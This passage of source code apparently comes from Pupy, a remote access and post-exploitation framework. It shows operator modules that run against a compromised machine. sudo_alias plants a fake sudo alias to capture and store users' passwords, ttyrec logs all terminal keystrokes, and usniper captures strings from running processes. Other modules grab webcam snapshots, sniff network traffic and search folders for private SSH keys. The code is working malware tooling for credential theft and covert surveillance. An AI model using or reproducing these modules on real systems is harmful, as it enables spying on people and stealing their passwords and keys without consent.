                term, w, h, wp, hp,
                host, port, user, passwords, private_keys,
                program, write, remote_close, args.timeout
            )

        except Exception as e:
            self.error(e.args[0])
            return

        self.client.conn.register_remote_cleanup(closer)

        remote_write = nowait(writer)

        self.iogroup.set_on_winch(nowait(resizer))
        self.iogroup.set_mapping('~~~.', local_close)

        with self.iogroup:
            attach()

            for data in self.iogroup:
                remote_write(data)

        self.client.conn.unregister_remote_cleanup(closer)
        closer()

        if exit_status[0] == 0:
            self.success('SSH closed')
        else:
            self.error('SSH closed ({})'.format(exit_status[0]))

    def _find_private_keys(self, fpath):
        if path.isfile(fpath):
            try:
                with open(fpath) as content:
                    yield content.read()

            except OSError:
                pass

            return

        for root, dirs, files in walk(fpath):
            for sfile in files:
                try:
                    sfile_path = path.join(root, sfile)
                    with open(sfile_path) as content:
                        first_line = content.readline(256)
                        if 'PRIVATE KEY-----' in first_line:
                            yield first_line + content.read()

                except (OSError, IOError):
                    pass


================================================
FILE: pupy/modules/stat.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.modules.lib import size_human_readable, file_timestamp

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer
from pupy.pupylib.PupyOutput import Table, Line, List, MultiPart

from magic import Magic

from M2Crypto.X509 import load_cert_string, FORMAT_DER
from argparse import REMAINDER

from pupy.network.lib.convcompat import as_unicode_string

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'FStat'


@config(cat='admin', compat=['windows', 'linux'])
class FStat(PupyModule):
    '''Show a bit more info about file path. ACLs/Caps/Owner for now'''

    dependencies = {
        'all': [
            'pupyutils.basic_cmds', 'fsutils', 'fsutils_ext'
        ],
        'windows': ['junctions', 'ntfs_streams', 'pupwinutils.security'],
        'linux': ['xattr', 'posix1e', 'prctl', '_prctl']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='stat', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-v', '--verbose', action='store_true', default=False,
            help='Print more information (certificates for example)'
        )
        cls.arg_parser.add_argument(
            'path', type=str, nargs=REMAINDER,
            help='path of a specific file', completer=remote_path_completer)

    def run(self, args):
        getfilesec = self.client.remote('fsutils_ext', 'getfilesec')

        path = ' '.join(args.path)

        try:
            sec = getfilesec(path)
        except Exception as e:
            raise
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )
            return

        ctime, atime, mtime, size, owner, group, header, mode, extra = sec

        owner_id, owner_name, owner_domain = owner
        group_id, group_name, group_domain = group

        default = {
            'Created': file_timestamp(ctime, time=True),
            'Accessed': file_timestamp(atime, time=True),
            'Modified': file_timestamp(mtime, time=True),
            'Size': '{} ({})'.format(size_human_readable(size), size),
            'Owner': '{}{} ({})'.format(
                (
                    as_unicode_string(owner_domain) + '\\'
                ) if owner_domain else '',
                as_unicode_string(owner_name) if owner_name else '',
                owner_id,
            ),
            'Group': '{}{} ({})'.format(
                (
                    as_unicode_string(group_domain) + '\\'
                ) if group_domain else '',
                as_unicode_string(group_name) if group_name else '',
                group_id,
            ),
            'Mode': mode,
        }

        infos = []

        infos.append(Table([
            {'Property': p, 'Value': default[p]} for p in (
                'Created', 'Accessed', 'Modified',
                'Size', 'Owner', 'Group', 'Mode'
            )
        ], ['Property', 'Value'], legend=False))

        oneliners = []

        certificates = None

        for extra, values in extra.items():
            if extra == 'Certificates':
                certificates = [
                    load_cert_string(
                        cert, FORMAT_DER
                    ).as_text() for cert in values
                ]
            elif isinstance(values, dict):
                records = [{
                    'KEY': as_unicode_string(k),
                    'VALUE': as_unicode_string(v, fail='convert')
                } for k, v in values.items()]

                infos.append(
                    Table(records, ['KEY', 'VALUE'], caption=extra)
                )
            elif isinstance(values, (list, tuple)):
                if all(isinstance(
                    value, (list, tuple)) and len(value) == 2
                        for value in values):
                    infos.append(List(
                        '{}: {}'.format(key, value) for key, value in values
                    ))
                else:
                    infos.append(List(values, caption=extra))
            elif isinstance(values, int):
                oneliners.append('{}: {}'.format(extra, values))
            elif '\n' in values:
                infos.append(Line(extra+':', values))
            else:
                oneliners.append(extra+': ' + values)

        if args.verbose:
            magic = ''
            if header:
                with Magic() as libmagic:
                    magic = libmagic.id_buffer(header)

            if magic:
                oneliners.append('Magic: {}'.format(magic))

            if certificates:
                infos.extend(certificates)

        if oneliners:
            infos.append(List(oneliners, caption='Other'))

        self.log(MultiPart(infos))


================================================
FILE: pupy/modules/sudo_alias.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.credentials import Credentials

__class_name__="SudoAlias"

@config(compat=['linux', 'darwin'], cat="admin")
class SudoAlias(PupyModule):
    """ write an alias for sudo to retrieve user password """

    dependencies = ['sudo_alias']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="sudo_alias", description=cls.__doc__)
        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])

    def run(self, args):
        if args.action=="start":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_start():
                self.error("the alias already exists")
            else:
                self.success("the alias has been created. Waiting for a user to run a sudo command...")
        elif args.action=="dump":
            data = self.client.conn.modules["sudo_alias"].sudo_alias_dump()
            if not data:
                self.error("nothing find, be patient !")
            else:
                self.success("Sudo password found: %s" % data)

                # add password to the database
                username = data.split('/')[0]
                password = data.replace(username, '')[1:]
                db = Credentials(client=self.client, config=self.config)
                db.add([{
                    'Login': username,
                    'password':password,
                    'CredType': 'plaintext',
                    'Category': 'System password'
                }])
                self.success("Credentials stored on the database")

        elif args.action=="stop":
            if not self.client.conn.modules["sudo_alias"].sudo_alias_stop():
                self.error('the alias has not been created yet (run start)')
            else:
                self.success('everyhing has been stopped and cleaned')


================================================
FILE: pupy/modules/tasks.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__class_name__="Tasks"

from pupy.pupylib.PupyModule import PupyArgumentParser, PupyModule, config
from pupy.pupylib.PupyOutput import Table, Color
from pupy.pupylib.utils.rpyc_utils import obtain

@config(cat='manage')
class Tasks(PupyModule):
    ''' Get info about registered background tasks '''

    dependencies = ['tasks']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='tasks', description=cls.__doc__)

    def run(self, args):
        agent = self.client.remote('pupy.agent')
        active = obtain(agent.manager.status)
        data = []
        for task, state in active.items():
            color = 'grey'
            if state['active']:
                color = 'lightgreen'
            elif state['results']:
                color = 'cyan'

            data.append({
                'TASK': Color(task, color),
                'ACTIVE': Color('Y' if state['active'] else 'N', color),
                'RESULTS': Color('Y' if state['results'] else 'N', color),
            })

        self.log(Table(data, ['TASK', 'ACTIVE', 'RESULTS']))


================================================
FILE: pupy/modules/tcpdump.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from threading import Event

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser
)

if sys.version_info.major > 2:
    basestring = str

__class_name__ = "TcpdumpModule"


@config(cat="network", tags=["sniff", "pcap"])
class TcpdumpModule(PupyModule):
    """ module to reproduce some of the classic tcpdump tool functions """

    dependencies = (
        'scapy',
        'tcpdump'
    )

    terminate = None
    wait = Event()

    @classmethod
    def init_argparse(cls):
        example = 'Example:\n'
        example += '>> tcpdump -i eth0 --bpf tcp.port==80 -s\n'

        cls.arg_parser = PupyArgumentParser(prog='tcpdump.py', description=cls.__doc__, epilog=example)
        cls.arg_parser.add_argument("-s", "--save-pcap", action="store_true", help="save to a pcap file")
        cls.arg_parser.add_argument("--count", type=int, default=0, help="sniff at max n packets")
        cls.arg_parser.add_argument("-i", "--iface", default=None, help="change default iface")
        cls.arg_parser.add_argument("--timeout", type=int, default=None, help="stop the capture after timeout seconds")
        # yup mandatory cause you have to put pupy's IP/PORT anyway
        cls.arg_parser.add_argument("--bpf", required=True, help="use a BPF (Warning: It is highly advised to whitelist"
                                                                 " pupy's shell IP/PORT you are currently using to "
                                                                 "avoid a nasty Larsen effect)")
        # cls.arg_parser.add_argument("command", choices=["start", "stop"])

    def printer(self, pcap_writer=None, print_summary=True):
        from scapy.all import Ether
        def pkt_callback(pkt):
            try:
                pkt = Ether(pkt)
            except Exception as e:
                self.exception(e)

            if pcap_writer is not None:
                pcap_writer.write(pkt)

            if print_summary:
                self.log(pkt.summary())

        return pkt_callback

    def on_error(self, error=None):
        if error:
            self.error('Scapy error: {}'.format(error))

        self.wait.set()

    def run(self, args):
        self.sniff_sess = None

        filepath = None

        if self.client.is_windows():
            from modules.lib.windows.winpcap import init_winpcap
            init_winpcap(self.client)

        pktwriter = None

        if args.save_pcap:
            from scapy.all import PcapWriter
            config = self.client.pupsrv.config
            filepath = config.get_file('pcaps', {'%c': self.client.short_name()})
            pktwriter = PcapWriter(filepath, append=True, sync=True)

        tcpdump = self.client.remote('tcpdump', 'run', False)

        self.wait.clear()

        try:
            name, self.terminate = tcpdump(
                self.printer(pcap_writer=pktwriter),
                self.on_error,
                args.iface,
                args.bpf,
                args.timeout,
                count=args.count)

            self.success(u'Scapy tcpdump on "{}" - started'.format(name))
            self.wait.wait()
            self.success(u'Scapy tcpdump on "{}" - completed'.format(name))

            if filepath:
                self.info('Pcap stored to: {}'.format(filepath))

        except Exception as e:
            self.wait.set()
            self.error(
                'Error: ' + ' '.join(x for x in e.args if isinstance(x, basestring))
            )

    def interrupt(self):
        if self.terminate:
            self.terminate()

        self.wait.set()


================================================
FILE: pupy/modules/text_to_speach.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="AndroidTTS"

@config(compat="android", cat="troll", tags=["speech", "speak", "sound"])
class AndroidTTS(PupyModule):
    """ Use Android text to speach to say something :) """

    dependencies=['pupydroid.text_to_speech']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="tts", description=cls.__doc__)
        cls.arg_parser.add_argument('--lang', default='US', help='change the locale')
        cls.arg_parser.add_argument('text', help='text to speak out loud')

    def run(self, args):
        self.client.conn.modules['pupydroid.text_to_speech'].speak(args.text, lang=args.lang)
        self.success("The truth has been spoken !")


================================================
FILE: pupy/modules/ttyrec.py
================================================
# -*- coding: utf-8 -*-

# To build module to extract proper offsets:
# > cat find_offsets.c
# #include <linux/tty.h>
# #include <linux/tty_driver.h>
# #include <linux/tty_flip.h>
#
# int tty_get_x(struct tty_struct *tty) {
#     return tty->winsize.ws_row
# }
# EXPORT_SYMBOL(tty_get_x)
#
# const char * tty_get_name(struct tty_struct *tty) {
#     return tty->name
# }
# EXPORT_SYMBOL(tty_get_name)
#
# int tty_get_y(struct tty_struct *tty) {
#     return tty->winsize.ws_col
# }
# EXPORT_SYMBOL(tty_get_y)
#
# static struct tty_struct *file_tty(struct file *file)
# {
# 	return ((struct tty_file_private *)file->private_data)->tty
# }
# EXPORT_SYMBOL(file_tty)
#
# > cat Makefile
# obj-m += find_offsets.o
# all:
#     make -C $(KERNELDIR) M=$(PWD) modules

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import zlib
import struct
import json

from io import open

if sys.version_info.major > 2:
    from io import BytesIO
else:
    from StringIO import StringIO as BytesIO

from pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser
from pupy.pupylib.PupyModule import config

TTYREC_EVENT = 0x14000001

__events__ = {
    TTYREC_EVENT: 'keylogger'
}

__class_name__ = 'TTYRec'


def _to_unicode(x):
    for charset in ('utf-8', 'utf-16le', 'latin-1'):
        try:
            return x.decode(charset)
        except UnicodeDecodeError:
            pass

    return x


def _to_int(x):
    if x is None:
        return None
    elif isinstance(x, (int, long)):
        return x
    elif x.startswith('0x'):
        return int(x[2:], 16)
    else:
        return int(x)


@config(cat='gather', compat=['linux'])
class TTYRec(PupyModule):
    '''
    Globally capture intput/output to TTY. Compatible with kernels
    which have KProbes tracing. Right now backed module tested/works
    only on AMD64.
    To use this module you need to have offsets for your kernel:
        name: (struct tty_struct *tty)->name
        winsize: (struct tty_struct *tty)->winsize.ws_row
        private: ((struct tty_file_private *)file->private_data)->tty
    '''

    unique_instance = True

    dependencies = {
        'linux': ['ttyrec']
    }

    header = struct.Struct('<I8s16ssIfI')

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='ttyrec', description=cls.__doc__)
        commands = cls.arg_parser.add_subparsers(help='commands')
        start = commands.add_parser('start', help='Start TTYRec')
        start.add_argument('name', help='TTY name offset')
        start.add_argument('winsize', help='TTY winsize offset')
        start.add_argument('private', help='TTY private offset')
        start.set_defaults(func=cls.start)

        dump = commands.add_parser('dump', help='Dump TTYRec results')
        dump.set_defaults(func=cls.dump)

        stop = commands.add_parser('stop', help='Stop TTYRec')
        stop.set_defaults(func=cls.stop)

    def start(self, args):
        start = self.client.remote('ttyrec', 'start', False)

        if start(
            event_id=TTYREC_EVENT,
                name=_to_int(args.name),
                winsize=_to_int(args.winsize),
                tty_private=_to_int(args.private)):
            self.success('TTYRec started')

    def stop(self, args):
        self.dump(args)
        stop = self.client.remote('ttyrec', 'stop', False)
        if stop():
            self.success('TTYRec stopped')

    def dump(self, args):
        dump = self.client.remote('ttyrec', 'dump', False)
        data = dump()

        if not data:
            return

        dumpdir = self.config.get_folder('records', {'%c': self.client.short_name()})
        dests = {}

        data = BytesIO(zlib.decompress(data))

        while True:
            header = data.read(self.header.size)
            if not header:
                break

            session, tty, comm, probe, pid, timestamp, lbuf = \
                self.header.unpack(header)

            comm = comm.strip().strip('\0')
            tty = tty.strip()
            filename = '{:08x}.{}.cast'.format(session, tty)

            pid = str(pid)
            lbuf = int(lbuf)
            resize = None

            payload = data.read(lbuf)

            if probe == 'R':
                resize = struct.unpack('<HH', payload)

            if filename not in dests:
                dest = os.path.join(dumpdir, filename)
                self.info('{} -> {}'.format(tty, dest))

                is_append = os.path.exists(dest)
                dests[filename] = open(dest, 'ab')

                if not is_append:
                    header = {
                        'version':2,
                        'timestamp': timestamp,
                    }

                    if resize:
                        payload = None
                        header.update({
                            'width': resize[0],
                            'height': resize[1],
                        })

                    json.dump(header, dests[filename])
                    dests[filename].write('\n')

            elif resize:
                payload = '\033[18;{};{}t'.format(resize[1], resize[0])

            if payload:
                json.dump([
                    timestamp, probe, _to_unicode(payload)
                ], dests[filename])
                dests[filename].write('\n')

        for f in dests.values():
            f.close()

    def run(self, args):
        args.func(self, args)


================================================
FILE: pupy/modules/upload.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import path_completer, remote_dirs_completer

from pupy.network.lib.rpc.utils.classic import upload

import sys
import os
import os.path

if sys.version_info.major > 2:
    basestring = str

__class_name__="UploaderScript"


@config(cat="manage")
class UploaderScript(PupyModule):
    """ upload a file/directory to a remote system """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='upload', description=cls.__doc__)
        cls.arg_parser.add_argument('local_file', metavar='<local_path>', completer=path_completer)
        cls.arg_parser.add_argument('remote_file', nargs='?', metavar='<remote_path>',
                                    completer=remote_dirs_completer)

    def run(self, args):
        localfile = os.path.expandvars(args.local_file)

        rexpandvars = self.client.remote('os.path', 'expandvars')
        rjoin = self.client.remote('os.path', 'join')
        risdir = self.client.remote('os.path', 'isdir', False)

        if args.remote_file:
            remotefile = rexpandvars(args.remote_file)
        else:
            rtempfile = self.client.conn.modules['tempfile']
            tempdir = rtempfile.gettempdir()
            remotefile = rjoin(tempdir, os.path.basename(localfile))

        if remotefile.endswith('.'):
            remotefile = os.path.join(os.path.dirname(remotefile), args.local_file.split(os.sep)[-1])

        if os.path.isfile(localfile) and risdir(remotefile):
            remotefile = rjoin(remotefile, os.path.basename(localfile))

        size = os.stat(localfile).st_size

        self.info(
            "Uploading local:%s to remote:%s (size=%d)"%(
                localfile,
                remotefile,
                size
            )
        )

        try:
            upload(self.client.conn, localfile, remotefile, chunk_size=8*1024*1024)
        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )
            return

        self.success("file local:%s uploaded to remote:%s"%(localfile, remotefile))

        self.client.conn.modules['os'].chmod(
            remotefile,
            os.stat(localfile).st_mode
        )


================================================
FILE: pupy/modules/users.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, Table

__class_name__ = 'Users'


@config(cat="gather", compatibilities=[
    'windows', 'linux', 'darwin', 'posix'])
class Users(PupyModule):
    """ Get interactive users """

    dependencies = {
        'windows': ['win32net', 'win32api'],
        'all': ['pupyutils.users']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='users', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-g', '--groups',
            action='store_true', default=False,
            help='show groups membership')

    def run(self, args):
        users = self.client.remote('pupyutils.users', 'users')
        users_list = users()

        objects = []

        for user in users_list['users']:
            if user['admin']:
                color = 'lightred'
            elif 'Administrators' in user['groups'] or \
                    'sudo' in user['groups']:
                color = 'lightyellow'
            else:
                color = 'white'

            objects.append({
                'C': '>' if users_list['current'] == user['name'] else '',
                'NAME': Color(user['name'], color),
                'GROUPS': Color(','.join(user['groups']), color),
                'HOME': Color(user['home'], color)
            })

        headers = ['C', 'NAME', 'HOME']
        if args.groups:
            headers.insert(2, 'GROUPS')

        self.log(Table(objects, headers))


================================================
FILE: pupy/modules/usniper.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

if sys.version_info.major > 2:
    basestring = str

USNIPER_EVENT = 0x13000001

__class_name__ = 'USniper'
__events__ = {
    USNIPER_EVENT: 'usniper'
}


@config(cat='gather', compat=['linux'])
class USniper(PupyModule):
    ''' Globally capture string or register during execution at specified
        physical offset and register using uprobes. Compatible with
        kernels >3.5 (register) and >3.18 (string) '''

    unique_instance = True
    dependencies = {
        'linux': ['usniper']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='usniper', description=cls.__doc__)
        commands = cls.arg_parser.add_subparsers(help='commands')
        start = commands.add_parser('start', help='Start USniper')
        start.add_argument('-S', '--string', action='store_true',
            default=False, help='Dereference as string (>3.18)')
        start.add_argument('-R', '--ret', action='store_true', default=False,
            help='Get value after return')
        start.add_argument('-C', '--nochar', action='store_true',
            default=False, help='Do not cast register to character')
        start.add_argument('path', help='Absolute path to binary')
        start.add_argument('offset', help='Offset in binary')
        start.add_argument('reg', default='ax', nargs='?',
                               help='Get value from register')
        start.set_defaults(func=cls.start)

        stop = commands.add_parser('stop', help='stop USniper')
        stop.set_defaults(func=cls.stop)

        dump = commands.add_parser('dump', help='dump results')
        dump.set_defaults(func=cls.dump)

    def start(self, args):
        offset = args.offset
        if not offset.lower().startswith('0x'):
            offset = '0x' + offset.upper()
        else:
            offset = '0x' + offset[2:].upper()

        start = self.client.remote('usniper', 'start')

        if start(args.path, offset, args.reg, args.ret,
                 'string' if args.string else None,
                     None if (args.string or args.nochar) else 'chr',
                     event_id=USNIPER_EVENT):
            self.success('Unsipper started')
        else:
            self.error('Usniper start failed')

    def stop(self, args):
        stop = self.client.remote('usniper', 'stop')
        stop()
        self.success('Stop request was sent')

    def dump(self, args):
        dump = self.client.remote('usniper', 'dump')

        data = dump()
        if not data:
            self.warning('No data collected')
            return

        records = []

        for pid, values in data.items():
            for timestamp, dumps in values['dump'].items():
                if all(len(x) == 1 and isinstance(x, basestring) for x in dumps):
                    records.append({
                        'PID': pid,
                        'EXE': values['exe'],
                        'CMD': ' '.join(values['cmd']),
                        'DATA': ''.join(dumps).strip(' \0')
                    })
                else:
                    for dump in dumps:
                        records.append({
                            'PID': pid,
                            'DATA': dump.strip(' \0'),
                            'EXE': values['exe'],
                            'CMD': ' '.join(values['cmd'])
                        })

        self.table(records, ['PID', 'EXE', 'CMD', 'DATA'])

    def run(self, args):
        args.func(self, args)


================================================
FILE: pupy/modules/vibrate.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="AndroidVibrate"

@config(compat="android", cat="troll", tags=["vibrator"])
class AndroidVibrate(PupyModule):
    """ activate the phone/tablet vibrator :) """

    dependencies=['pupydroid.vibrator']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="vibrator", description=cls.__doc__)

    def run(self, args):
        #Each element then alternates between vibrate, sleep, vibrate, sleep...
        pattern=[1000,1000,1000,1000,1000,1000,1000,1000]

        self.client.conn.modules['pupydroid.vibrator'].vibrate(pattern)


================================================
FILE: pupy/modules/w.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, Table
from datetime import datetime, timedelta

import logging

__class_name__ = 'WModule'

ADMINS = (r'NT AUTHORITY\SYSTEM', 'root')


@config(cat="admin")
class WModule(PupyModule):
    """ list terminal sessions """

    dependencies = {
        'all': ['pupyps'],
        'windows': ['pupwinutils.security']
    }

    is_module = False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='w', description=cls.__doc__
        )

    def run(self, args):
        if self.client.is_windows():
            EnumerateWTS = self.client.remote(
                'pupwinutils.security', 'EnumerateWTS')

            try:
                wts_sessions = EnumerateWTS()

                cols = ['#']

                records = []

                session_colors = {}

                state = {'#': 'State'}
                user = {'#': 'User'}
                client_info = {'#': 'Client'}
                client_res = {'#': 'Res'}
                time_info = {
                    k: {} for k in (
                        'LastInputTime', 'ConnectTime',
                        'DisconnectTime', 'LogonTime'
                    )
                }

                for session in wts_sessions:
                    current = wts_sessions[session]['current']
                    session_state = wts_sessions[session]['state']
                    session_info = wts_sessions[session]['info']
                    session_client = wts_sessions[session]['client']

                    if current:
                        session = '<' + session + '>'

                    cols.append(session)

                    current_time = datetime.now()
                    disconnect_time = None
                    current_time = None
                    input_time = None

                    if session_info['CurrentTime']:
                        current_time = datetime.utcfromtimestamp(
                            session_info['CurrentTime'])

                    for time_info_record in time_info:
                        value = session_info[time_info_record]
                        if value:
                            value = datetime.utcfromtimestamp(value)
                            if time_info_record == 'DisconnectTime':
                                disconnect_time = value
                            elif time_info_record == 'LastInputTime':
                                input_time = value
                            elif time_info_record == 'CurrentTime':
                                current_time = value
                        else:
                            value = ''

                        time_info[time_info_record][session] = value

                    color = 'white'
                    if session_state == 'Disconnected':
                        color = 'grey'
                    elif session_state == 'Listen':
                        color = 'cyan'
                    elif session_state == 'Active':
                        idle = None
                        if input_time:
                            idle = (current_time - input_time).total_seconds()

                        if idle is not None and idle < 10 * 60:
                            color = 'cyan'
                        elif disconnect_time is None:
                            color = 'green'
                        elif disconnect_time > current_time:
                            color = 'lightgrey'

                    session_colors[session] = color

                    view_port = ''
                    if session_client['HRes'] and session_client['VRes']:
                        view_port = '{}x{}'.format(
                            session_client['HRes'], session_client['VRes'])

                    client_line = ''
                    if session_client['ClientName'] and \
                            session_client['ClientProductId']:
                        username = session_client['UserName']
                        domain = session_client['Domain']
                        if domain and domain != '.':
                            username = domain + '\\' + username

                        client_line = '{}@{} ({}/{} {}.{})'.format(
                            username,
                            session_client['ClientAddress'],
                            session_client['ClientName'],
                            session_client['DeviceIdD'],
                            session_client['ClientProductId'],
                            session_client['ClientBuildNumber']
                        )

                    client_info[session] = Color(client_line, color)
                    client_res[session] = Color(view_port, color)

                    state[session] = Color(session_state, color)

                    username = session_info['UserName']
                    domain = session_info['Domain']
                    if username:
                        if domain:
                            username = domain + '\\' + username

                    user[session] = Color(username, color)

                records.append(state)
                records.append(user)
                for time_info_type in time_info:
                    record = {'#': time_info_type}
                    record.update({
                        session: Color(
                            str(time_info[
                                time_info_type][session]).rsplit('.')[0]
                            if time_info[time_info_type][session] else '',
                            session_colors[session]
                        ) for session in cols[1:]
                    })
                    records.append(record)
                records.append(client_info)
                records.append(client_res)

                self.log(Table(records, cols))
                return

            except Exception as e:
                pass

        try:
            users = self.client.remote('pupyps', 'users')

            data = users()

            tablein = []

            for user, hosts in reversed(sorted(data.items())):
                for host, sessions in hosts.items():
                    for session in sessions:
                        color = ""

                        if 'idle' in session:
                            idle = session['idle']
                            color = "cyan" if idle < 10*60 else (
                                "grey" if idle > 60*60*24 else ""
                            )

                        if 'dead' in session:
                            color = 'darkgrey'

                        object = {
                            'HOST': Color(host, color),
                            'USER': Color(
                                user,
                                "yellow" if user in ADMINS else (
                                    "green" if session.get('me') else color)
                            ),
                            'LOGIN': Color(
                                str(datetime.fromtimestamp(
                                    int(session['started']))), color
                            ),
                        }

                        if session.get('terminal'):
                            if session.get('name'):
                                what = '{} {}'.format(
                                    session['exe'] if session.get('exe')
                                    else ('{'+session.get('name')+'}'),
                                    ' '.join(
                                        session['cmdline'][1:]
                                        if session.get('cmdline') else ''
                                    )
                                )
                            else:
                                what = ''

                            object.update({
                                'IDLE': Color(
                                    str(timedelta(
                                        seconds=session['idle'])), color
                                ) if session.get('idle') else '',
                                'PID': Color(
                                    str(session.get('pid', '')), color),
                                'WHAT': Color(
                                    what[:30] + '...'
                                    if len(what) > 30 else what, color
                                )
                            })

                        tablein.append(object)

            self.table(tablein)

        except Exception as e:
            logging.exception(e)


================================================
FILE: pupy/modules/webcamsnap.py
================================================
# -*- coding: utf-8 -*-

# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import os.path
import logging
import datetime
import subprocess

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="WebcamSnapModule"


def pil_save(filename, pixels, width, height):
    from PIL import Image, ImageFile
    buffer_len = (width * 3 + 3) & -4
    img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
    ImageFile.MAXBLOCK = width * height
    img=img.transpose(Image.FLIP_TOP_BOTTOM)
    img.save(filename, quality=95, optimize=True, progressive=True)
    logging.info('webcam snap saved to %s'%filename)


@config(cat="gather", compat=["windows", "android"])
class WebcamSnapModule(PupyModule):
    """ take a webcam snap :) """

    dependencies = {
        'android': ['pupydroid.camera'],
        'windows': ['vidcap']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='webcam_snap', description=cls.__doc__)
        cls.arg_parser.add_argument('-d', '--device', type=int, default=0, help='take a webcam snap on a specific device (default: %(default)s)')
        cls.arg_parser.add_argument('-n', '--nb-cameras', action='store_true', help='print number of cameras (Android Only)')
        cls.arg_parser.add_argument('-q', '--jpg-quality', type=int, default=40, help='define jpg quality (Android Only) (default: %(default)s)')
        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the snap for preview')

    def run(self, args):
        try:
            os.makedirs(os.path.join("data","webcam_snaps"))
        except Exception:
            pass
    
        filepath = os.path.join("data","webcam_snaps","snap_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")

        if self.client.is_windows():
            dev=self.client.conn.modules['vidcap'].new_Dev(args.device,0)
